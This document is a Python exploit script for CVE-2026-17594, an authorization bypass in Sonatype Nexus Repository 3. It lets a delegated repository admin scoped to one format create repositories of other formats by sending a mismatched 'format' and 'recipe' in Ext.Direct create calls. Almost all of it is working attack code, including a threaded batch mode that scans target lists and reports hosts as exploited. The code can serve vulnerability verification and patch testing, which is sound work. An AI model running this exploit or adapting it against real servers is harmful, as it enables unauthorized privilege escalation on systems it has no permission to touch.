📄 Sonatype Nexus Repository 3.94.1 Repository Format Authorization Bypass

#!/usr/bin/env python3
    """
    CVE-2026-17594 - Sonatype Nexus Repository 3 repository-format authorization bypass
    Affected: Sonatype Nexus Repository 3 (CE and Pro) 3.0.0 <= version < 3.95.0
    Type: Auth bypass (incorrect authorization, CWE-863 / confused deputy)
    
    The Ext.Direct method coreui_Repository.create authorizes against the caller-supplied
    "format" field of the RepositoryXO DTO, but builds the repository from the separate,
    independently caller-supplied "recipe" field. Nothing cross-validates the two. A delegated
    repository admin scoped to one format therefore creates a repository of any other format
    registered on the instance by sending format=<their permitted format> together with
    recipe=<a recipe of the format they want>.
    
    This is an authenticated escalation: it needs a working low-privileged account that holds
    nexus:repository-admin:<some-format>:*:add. It is not an unauthenticated bypass, and the
    anonymous user cannot hold that privilege by default.
    
    Usage:
      python exploit.py --host <target> --port 8081 --username <user> --password <pass>
      python exploit.py --host 192.168.1.10 --port 8081 --username delegated --password 'Delegated123!'
      python exploit.py --host https://nexus.corp.com --permitted-format maven2 --recipe docker-hosted
      python exploit.py --host https://nexus.corp.com/nexus --recipe raw-hosted --repo-name pwned-raw
      python exploit.py --list targets.txt --workers 20 --username delegated --password 'Delegated123!'
    
    Arguments beyond the standard set:
      --username / --password   credentials of the delegated repo-admin account to escalate from.
                                (--username here is the account you authenticate AS, not an
                                account you impersonate: this CVE needs a valid low-privileged
                                login, so an "admin" default would be meaningless.)
      --permitted-format        format the account IS delegated; goes in the DTO field that is
                                authorized against (default: maven2)
      --recipe                  recipe of the format to actually create, which the account is
                                NOT delegated (default: raw-hosted)
      --repo-name               name of the repository to create (default: random alim-<hex>)
      --blob-store              blob store to bind the new repository to (default: default)
      --remote-url              remote URL, only used when --recipe is a proxy recipe
      --no-control              skip the side-effect-free control request that proves the
                                account is genuinely unauthorized for the target format
    
    Note: a successful run leaves a repository behind on the target. That artifact IS the
    exploitation evidence and the escalated account usually cannot delete it (it holds no
    admin rights on the format it just created), so removal needs a real administrator.
    """
    
    import argparse
    import binascii
    import json
    import os
    import sys
    from urllib.parse import urlparse
    
    import requests
    from requests.auth import HTTPBasicAuth
    
    try:
        requests.packages.urllib3.disable_warnings()
    except Exception:
        pass
    
    CVE_ID = "CVE-2026-17594"
    VULN_TYPE = "Privilege Escalation"
    
    DEFAULT_PORT = 8081
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------
    # protocol helpers
    # --------------------------------------------------------------------------
    
    def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
        scheme = "https" if use_tls else "http"
        prefix = (path or "/").rstrip("/")
        return f"{scheme}://{host}:{port}{prefix}"
    
    
    def _random_name(prefix: str = "alim") -> str:
        return f"{prefix}-{binascii.hexlify(os.urandom(4)).decode()}"
    
    
    def _extdirect(session, base: str, method: str, data, tid: int, timeout: float):
        """POST one Ext.Direct rpc call. Returns (http_status, envelope_dict_or_None, raw_text)."""
        body = {
            "action": "coreui_Repository",
            "method": method,
            "type": "rpc",
            "tid": tid,
            "data": data,
        }
        resp = session.post(
            f"{base}/service/extdirect",
            json=body,
            timeout=timeout,
            verify=False,
            headers={"Accept": "application/json"},
        )
        try:
            envelope = resp.json()
        except ValueError:
            envelope = None
        if isinstance(envelope, list) and envelope:
            envelope = envelope[0]
        return resp.status_code, envelope, resp.text
    
    
    def _recipe_format(recipe_id: str, recipes: dict) -> tuple:
        """Resolve a recipe id to (format, type). Falls back to splitting the id."""
        label = recipes.get(recipe_id)
        if label and "(" in label and label.endswith(")"):
            fmt, rtype = label.split("(", 1)
            return fmt.strip(), rtype[:-1].strip()
        if "-" in recipe_id:
            fmt, rtype = recipe_id.rsplit("-", 1)
            return fmt, rtype
        return recipe_id, "hosted"
    
    
    def _build_attributes(fmt: str, rtype: str, blob_store: str, remote_url: str) -> dict:
        """Attribute map the target recipe requires. A missing block is a validation error,
        which is a different outcome from an authorization denial and must not be confused
        with one."""
        storage = {"blobStoreName": blob_store, "strictContentTypeValidation": True}
        attrs = {"storage": storage, "cleanup": {"policyName": []}}
    
        if rtype == "hosted":
            storage["writePolicy"] = "ALLOW"
            attrs["component"] = {"proprietaryComponents": False}
        elif rtype == "proxy":
            attrs["proxy"] = {"remoteUrl": remote_url, "contentMaxAge": 1440, "metadataMaxAge": 1440}
            attrs["negativeCache"] = {"enabled": True, "timeToLive": 1440}
            attrs["httpclient"] = {"blocked": False, "autoBlock": True}
        elif rtype == "group":
            attrs["group"] = {"memberNames": []}
    
        if fmt == "maven2":
            attrs["maven"] = {
                "versionPolicy": "RELEASE",
                "layoutPolicy": "STRICT",
                "contentDisposition": "INLINE",
            }
        elif fmt == "raw":
            attrs["raw"] = {"contentDisposition": "ATTACHMENT"}
        elif fmt in ("docker", "oci"):
            attrs["docker"] = {"v1Enabled": False, "forceBasicAuth": True}
    
        return attrs
    
    
    def _create_payload(name: str, dto_format: str, recipe: str, attrs: dict) -> dict:
        """The RepositoryXO. `format` is what gets authorized, `recipe` is what gets built."""
        return {
            "name": name,
            "format": dto_format,
            "recipe": recipe,
            "online": True,
            "routingRuleId": "",
            "attributes": attrs,
        }
    
    
    def _classify(status: int, envelope, raw: str) -> dict:
        """Turn one create response into a verdict. Ext.Direct reports failures inside HTTP 200,
        so never branch on the status code alone."""
        if status in (401, 403) and not envelope:
            return {"outcome": "auth", "message": f"HTTP {status} - credentials rejected"}
        if envelope is None:
            return {"outcome": "malformed", "message": f"HTTP {status}, non-JSON body: {raw[:200]}"}
        if envelope.get("type") == "exception":
            return {"outcome": "exception", "message": str(envelope.get("message", ""))[:400]}
    
        result = envelope.get("result") or {}
        if result.get("success") is True:
            data = result.get("data") or {}
            return {"outcome": "created", "message": "", "data": data}
    
        if result.get("errors"):
            return {"outcome": "validation", "message": json.dumps(result["errors"])}
        if result.get("authenticationRequired"):
            return {"outcome": "auth", "message": str(result.get("message", ""))[:400]}
    
        message = str(result.get("message", "")) or raw[:200]
        if "does not have permission" in message or "not permitted" in message.lower():
            return {"outcome": "denied", "message": message[:400]}
        return {"outcome": "other", "message": message[:400]}
    
    
    def _repo_exists(session, base: str, name: str, timeout: float):
        """Persistence oracle usable without admin rights: Nexus answers 404 for a repository
        that does not exist and 403/200 for one that exists but is not readable by this
        account. Returns True / False / None (inconclusive)."""
        try:
            resp = session.get(f"{base}/repository/{name}/", timeout=timeout,
                               verify=False, allow_redirects=False)
        except requests.RequestException:
            return None
        if resp.status_code == 404:
            return False
        if resp.status_code in (200, 301, 302, 401, 403):
            return True
        return None
    
    
    # --------------------------------------------------------------------------
    # core attack
    # --------------------------------------------------------------------------
    
    def _attack(host, port, use_tls, path, opts, emit=None):
        """Shared logic for verbose and silent modes.
    
        emit(kind, a, b) is called for progress output; None keeps it silent for --list.
        Returns a result dict: ok, evidence, plus diagnostic fields.
        """
        def say(kind, a, b=""):
            if emit:
                emit(kind, a, b)
    
        base = _base_url(host, port, use_tls, path)
        timeout = opts["timeout"]
        session = requests.Session()
        session.auth = HTTPBasicAuth(opts["username"], opts["password"])
        # Stateless Basic auth carries no Shiro session, so the anti-CSRF filter short-circuits
        # and no NX-ANTI-CSRF-TOKEN is needed. A Sec-Fetch-Site header would be rejected as
        # cross-site, so none is sent.
        session.headers.update({"User-Agent": "python-requests"})
    
        result = {"ok": False, "evidence": "", "created": None, "banner": None}
    
        # 1. reachability + version banner
        say("step", 1, f"Probing Nexus at {base}")
        try:
            status_resp = session.get(f"{base}/service/rest/v1/status", timeout=timeout, verify=False)
        except requests.RequestException as exc:
            result["evidence"] = f"unreachable ({exc.__class__.__name__})"
            return result
        banner = status_resp.headers.get("Server", "unknown")
        result["banner"] = banner
        say("section", "SERVICE BANNER", f"HTTP {status_resp.status_code}  Server: {banner}")
    
        # 2. authenticate and enumerate the recipe registry
        say("step", 2, f"Authenticating as '{opts['username']}' and reading the recipe registry")
        code, env, raw = _extdirect(session, base, "readRecipes", None, 1, timeout)
        if code in (401, 403) or (env or {}).get("result", {}).get("authenticationRequired"):
            result["evidence"] = f"credentials rejected for '{opts['username']}' (HTTP {code})"
            return result
        if env is None:
            result["evidence"] = f"no Ext.Direct endpoint at {base}/service/extdirect (HTTP {code})"
            return result
    
        recipes = {}
        for entry in ((env.get("result") or {}).get("data") or []):
            recipes[entry.get("id")] = entry.get("name")
        if not recipes:
            result["evidence"] = "recipe registry came back empty - not a Nexus Repository 3 instance?"
            return result
    
        recipe = opts["recipe"]
        if recipe not in recipes:
            alt = None
            for rid in sorted(recipes):
                fmt, rtype = _recipe_format(rid, recipes)
                if rtype == "hosted" and fmt != opts["permitted_format"]:
                    alt = rid
                    break
            if alt is None:
                result["evidence"] = f"recipe '{recipe}' is not registered and no alternative found"
                return result
            say("section", "RECIPE FALLBACK",
                f"'{recipe}' is not registered on this instance; using '{alt}' instead")
            recipe = alt
    
        target_format, target_type = _recipe_format(recipe, recipes)
        say("section", "RECIPE REGISTRY",
            f"{len(recipes)} recipes registered\n"
            f"authorizing as format : {opts['permitted_format']}\n"
            f"building from recipe  : {recipe}  ->  format '{target_format}', type '{target_type}'")
    
        if target_format == opts["permitted_format"]:
            result["evidence"] = (f"recipe '{recipe}' has the same format as --permitted-format "
                                  f"'{opts['permitted_format']}' - no privilege boundary is crossed")
            return result
    
        attrs = _build_attributes(target_format, target_type, opts["blob_store"], opts["remote_url"])
        name = opts["repo_name"] or _random_name()
    
        # 3. control: the honest request. Sending format and recipe in agreement is what a
        #    correct client does. It must be denied, which is what proves the account really
        #    is unauthorized for the target format. Denied requests create nothing.
        if opts["control"]:
            ctl_name = f"{name}-ctl"
            say("step", 3, f"Control: honest request format={target_format} recipe={recipe} "
                           f"(must be DENIED to prove the boundary exists)")
            code, env, raw = _extdirect(
                session, base, "create",
                [_create_payload(ctl_name, target_format, recipe, attrs)], 2, timeout)
            verdict = _classify(code, env, raw)
            say("section", "CONTROL RESPONSE", f"outcome={verdict['outcome']}  {verdict['message']}")
            if verdict["outcome"] == "created":
                result["evidence"] = (f"account '{opts['username']}' is legitimately authorized for "
                                      f"format '{target_format}' (control request succeeded, created "
                                      f"'{ctl_name}') - pick a --recipe the account cannot use")
                return result
            if verdict["outcome"] not in ("denied", "other"):
                result["evidence"] = (f"control request failed for an unrelated reason "
                                      f"({verdict['outcome']}: {verdict['message']}) - cannot "
                                      f"establish the privilege boundary")
                return result
            result["control"] = verdict["message"]
    
        # 4. the bypass: same recipe, but authorize against the permitted format instead
        say("step", 4, f"Bypass: format='{opts['permitted_format']}' (authorized) + "
                       f"recipe='{recipe}' (not authorized), name='{name}'")
        code, env, raw = _extdirect(
            session, base, "create",
            [_create_payload(name, opts["permitted_format"], recipe, attrs)], 3, timeout)
        say("section", "CREATE RESPONSE", json.dumps(env, indent=2) if env else raw[:800])
        verdict = _classify(code, env, raw)
    
        if verdict["outcome"] == "denied":
            msg = verdict["message"]
            if f"repository-admin:{target_format}" in msg:
                result["evidence"] = (f"blocked - permission was checked against the recipe's format "
                                      f"'{target_format}', not the supplied field: {msg}")
            else:
                result["evidence"] = f"blocked - authorization denied: {msg}"
            return result
        if verdict["outcome"] == "validation":
            result["evidence"] = (f"validation error before the authorization decision, "
                                  f"inconclusive: {verdict['message']}")
            return result
        if verdict["outcome"] != "created":
            result["evidence"] = f"{verdict['outcome']}: {verdict['message']}"
            return result
    
        data = verdict.get("data") or {}
        created_format = data.get("format")
        created_recipe = data.get("recipe")
        result["created"] = name
        result["created_format"] = created_format
    
        if created_format == opts["permitted_format"]:
            result["evidence"] = (f"repository '{name}' was created but with the permitted format "
                                  f"'{created_format}' - no escalation")
            return result
    
        # 5. independent confirmation that the repository is really live on the server
        say("step", 5, f"Confirming '{name}' exists on the server")
        exists = _repo_exists(session, base, name, timeout)
        say("section", "PERSISTENCE CHECK",
            f"GET {base}/repository/{name}/ -> "
            + {True: "repository exists (server did not answer 404)",
               False: "repository NOT found (404)",
               None: "inconclusive"}[exists])
        if exists is False:
            result["evidence"] = (f"create reported success with format '{created_format}' but the "
                                  f"repository is not resolvable - treat as inconclusive")
            return result
    
        result["ok"] = True
        result["evidence"] = (f"created repository '{name}' with format '{created_format}' "
                              f"(recipe '{created_recipe}') while authorizing as format "
                              f"'{opts['permitted_format']}' - account '{opts['username']}' holds no "
                              f"repository-admin privilege for '{created_format}'")
        return result
    
    
    # --------------------------------------------------------------------------
    # scan mode
    # --------------------------------------------------------------------------
    
    def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", opts: dict = None) -> tuple:
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        try:
            res = _attack(host, port, use_tls, path, opts, emit=None)
            return bool(res["ok"]), res["evidence"]
        except Exception as exc:
            return False, f"error ({exc.__class__.__name__}: {exc})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, opts: dict = None) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            # A fresh repository name per target: a name collision fails validation before the
            # authorization decision and would be reported as an inconclusive run.
            per_target = dict(opts)
            per_target["repo_name"] = opts["repo_name"] or _random_name()
            ok, evidence = _try_exploit(host, port, use_tls, path, per_target)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host: str, port: int, use_tls: bool, path: str, opts: dict) -> None:
        header(host, port)
    
        def emit(kind, a, b=""):
            if kind == "step":
                step(a, b)
            else:
                section(a, b)
    
        try:
            res = _attack(host, port, use_tls, path, opts, emit=emit)
        except requests.RequestException as exc:
            done(False, f"network error: {exc.__class__.__name__}: {exc}")
            return
    
        if res["ok"]:
            section("ESCALATION SUMMARY",
                    f"account            : {opts['username']}\n"
                    f"authorized format  : {opts['permitted_format']}  (sent in the DTO 'format' field)\n"
                    f"created format     : {res.get('created_format')}  (derived from the 'recipe' field)\n"
                    f"repository         : {res['created']}\n"
                    f"server             : {res.get('banner')}")
        done(res["ok"], res["evidence"])
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                               "(e.g. https://nexus.corp.com/nexus)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help=f"Default port (default: {DEFAULT_PORT})")
        parser.add_argument("--username", default="delegated",
                            help="Delegated repo-admin account to escalate from (default: delegated)")
        parser.add_argument("--password", default="Delegated123!",
                            help="Password for that account (default: Delegated123!)")
        parser.add_argument("--permitted-format", default="maven2",
                            help="Format the account IS delegated (default: maven2)")
        parser.add_argument("--recipe", default="raw-hosted",
                            help="Recipe of the unauthorized format to create (default: raw-hosted)")
        parser.add_argument("--repo-name", default=None,
                            help="Name for the created repository (default: random alim-<hex>)")
        parser.add_argument("--blob-store", default="default",
                            help="Blob store for the new repository (default: default)")
        parser.add_argument("--remote-url", default="https://repo1.maven.org/maven2/",
                            help="Remote URL, used only when --recipe is a proxy recipe")
        parser.add_argument("--no-control", action="store_true",
                            help="Skip the control request that proves the account is unauthorized")
        parser.add_argument("--timeout", type=float, default=30.0,
                            help="Per-request timeout in seconds (default: 30)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        options = {
            "username": args.username,
            "password": args.password,
            "permitted_format": args.permitted_format,
            "recipe": args.recipe,
            "repo_name": args.repo_name,
            "blob_store": args.blob_store,
            "remote_url": args.remote_url,
            "control": not args.no_control,
            "timeout": args.timeout,
        }
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, opts=options)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, options)